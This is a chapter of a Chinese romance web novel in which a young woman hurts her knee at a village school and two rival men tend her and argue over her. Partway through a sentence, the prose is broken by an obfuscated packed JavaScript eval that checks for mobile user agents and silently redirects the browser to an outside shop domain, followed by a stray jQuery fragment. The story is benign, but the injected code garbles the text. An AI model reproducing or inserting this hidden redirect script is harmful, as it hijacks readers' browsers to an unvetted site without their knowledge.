下午的太阳移到操场西边，把水泥地面晒出一层暖融融的光。
几个小孩在单杠旁边追着跑，一个男孩跑得太快被自己的脚绊了一下，整个人朝前栽过去，前面是台阶的边角，水泥棱角锋利。
温阮离他三四步，她下意识伸手去捞他的胳膊，指尖刚碰到他的袖口，她的脚底踩到了一颗松动的石子，重心一晃，整个人往前倒。
她的手从男孩的袖口滑脱了，男孩摔在了旁边的草地上，她摔在了台阶边缘，膝盖磕在水泥棱角上，手掌撑了一下地面，磨掉了一层皮。
男孩没有哭，坐在草地上愣了一下，然后爬起来跑了。
她坐在地上低头看自己的掌心，擦破的地方渗出一层细密的血珠，混着灰尘变成了暗红色。膝盖上的牛仔裤磨破了一道口子，布料边缘卷起来，露出下面泛红的皮肤。
沈既明跑过来蹲在她面前，把她的手拉起来看了看掌心，又看了一眼她的膝盖。
“能动吗？”
“能。”
他站起来想扶她，另一道身影已经蹲在了另一边。
陆砚辞蹲在她左边，手里攥着一瓶矿泉水，拧开盖子递过来：“先冲一下手上的灰。”
他说话的时候没有看她，把水瓶倾斜着，水慢慢浇在她掌心上，冷水冲走了灰尘和细小的沙粒，留下一道干净的伤口。
沈既明没有拦他，看着水冲完，从口袋里掏出一包纸巾抽了一张递给她：“压一下，别让它继续渗。”
温阮接过来按在掌心上，纸巾很快被染红了。她撑着地面站起来，两个人都伸手扶了一下，各自碰了她一边的胳膊，又各自收回了手。
她低头看着自己的膝盖，牛仔裤破口边缘卷着，裤腿沾了一点血迹。
“去村医务室看一下，消个毒。”沈既明说。
“我车上有急救包。”陆砚辞说，已经转身往越野车那边走了。
沈既明看了他背影一眼，没有说别的，低头对温阮说了一句：“能走吗？”
“能。”
她慢慢往教室方向走，膝盖弯的时候牵扯到破皮的地方，步子比平时慢了一些。
沈既明走在她右侧，没有扶她，但脚步放得很慢，配合她的节奏。
陆砚辞拿着急救包从车那边快步走回来，经过她身边的时候没有停下来，先她一步进了教室，把急救包放在桌上打开，碘伏棉签和纱布依次排开。
她走进来坐在椅子上，把受伤的腿伸直。陆砚辞蹲下来，拧开碘伏的瓶盖，棉签蘸了药水，抬头看了她一眼：“会有点疼。”
她没说话。
他把棉签轻轻点在她膝盖的伤口边缘，动作很轻。
碘伏沾到破皮的地方，她的小腿肌肉不自觉地绷了一下。
他停了一下，等她缓了才继续涂完。
沈既明站在旁边看着，没有说话。
他递了一条干净的毛巾过来：“擦一下手。”
她接过来擦了擦手指上的碘伏痕迹。
陆砚辞把用过的棉签收进空瓶里，把急救包重新合上，拉链拉到一半停了一下，又拉回去了。
碘伏的气味在教室门口散开了一点，棉签瓶子盖好之后被陆砚辞放回急救包侧袋里。他蹲在地上，膝盖弯着，把包扣好之后没有立刻站起来，抬头看了她一眼。
她低着头正在看自己掌心的伤口，血已经止住了，只剩一道浅红色的擦痕横过整个手掌根部。
“你不用这样。”她开口，声音不大，对着掌心那根擦痕说的。
他蹲在那里，手里还攥着急救包的提手带子，布质的带子在手指间绕了一圈。
“我甘心。”他说。
她抬眼看了看他。
他的表情很平，没有讨好的意思，也没有委屈。
她移开目光，把受伤的手放回膝盖上，指尖轻轻搭在牛仔裤的破口边缘。
沈既明把毛巾叠好放在旁边的桌上，开口的时候声音不高不低：“你甘心是你的事，她没说需要你甘心。”
陆砚辞从地上站起来，把急救包夹在腋下，看了沈既明一眼。
他开口的时候声音对着沈既明那边：“我知道她没需要我。我怎么做是我的事。”
沈既明靠到桌沿边，把手臂交叉抱在胸前。
“你既然知道她没需要你，那你还在这里蹲着给她擦药？”
他语气没有刻意加重，但每个字都落在该落的位置上。
陆砚辞看着他，腮帮子紧了一瞬。
他没有回嘴，只是把急救包从腋下换到手里，转身走出了教室门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777129|210050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口。
步子不快，但每一步都踩得很实。
他走到门口的时候停了一下，没有回头。
他站在那里大概两秒，像是在等什么，又像是在确认什么，然后继续往前走了。
阳光从他走出去的那扇门外斜着照进来，落在地面上，把他走出去之后空出来的那一块地方照得发亮。
沈既明把抱着的胳膊放下来，走到温阮旁边的椅子上坐下。
他没有碰她，只是坐在那里，看着门口的方向。
“他走了。”
“嗯。”
“你膝盖还疼吗？”
“不怎么疼了。”她试着弯了一下膝盖，破口边缘被牵拉了一下，她皱了一下眉，又放松了。“就是走路的时候会扯到。”
沈既明没有接话。
外面的操场上有小孩在跑，脚步声和笑声混在一起，被风从门口送进来，在教室里转了一圈又从另一扇窗户出去了。
他坐在椅子上，两腿伸开，脚踝交叠，像是不打算急着站起来。
温阮也靠在椅背上，看着门口那扇被光照亮了一半的门框，他的影子斜斜地拖在地面上，被门框截断了。
她的手搭在膝盖上，指尖碰着牛仔裤破口边缘的毛边，一下一下地蹭着，没有用力。
沈既明坐在旁边，手搭在膝盖上，手指轻轻叩了两下裤缝，没有出声。教室外面小孩的笑声又传进来了一阵，隔着墙听着远了。
他开口的时候声音不大：“要是你身边只有我一个就好了。”
温阮偏过头看着他。
他目光没有看她，落在门口那片被阳光晒白的地面上，像是也在看门框里的影子。
“你今天已经说了不少这种话了。”
“我知道。”他转过来看着她，嘴角带着一点笑，“但有时候忍不住。”
“忍不住什么？”
“忍不住想，为什么他还能出现在你面前。”
他说，“为什么他还能蹲下来给你擦药。你明明不需要他。”
温阮低下头看着自己的手指，指甲缝里还有一点没洗净的灰痕。
她把指腹蹭了蹭，灰痕淡了一些但没有完全消失。
“他出现是他自己的事。我没叫他来。”
“我知道。但看到了还是不舒服。”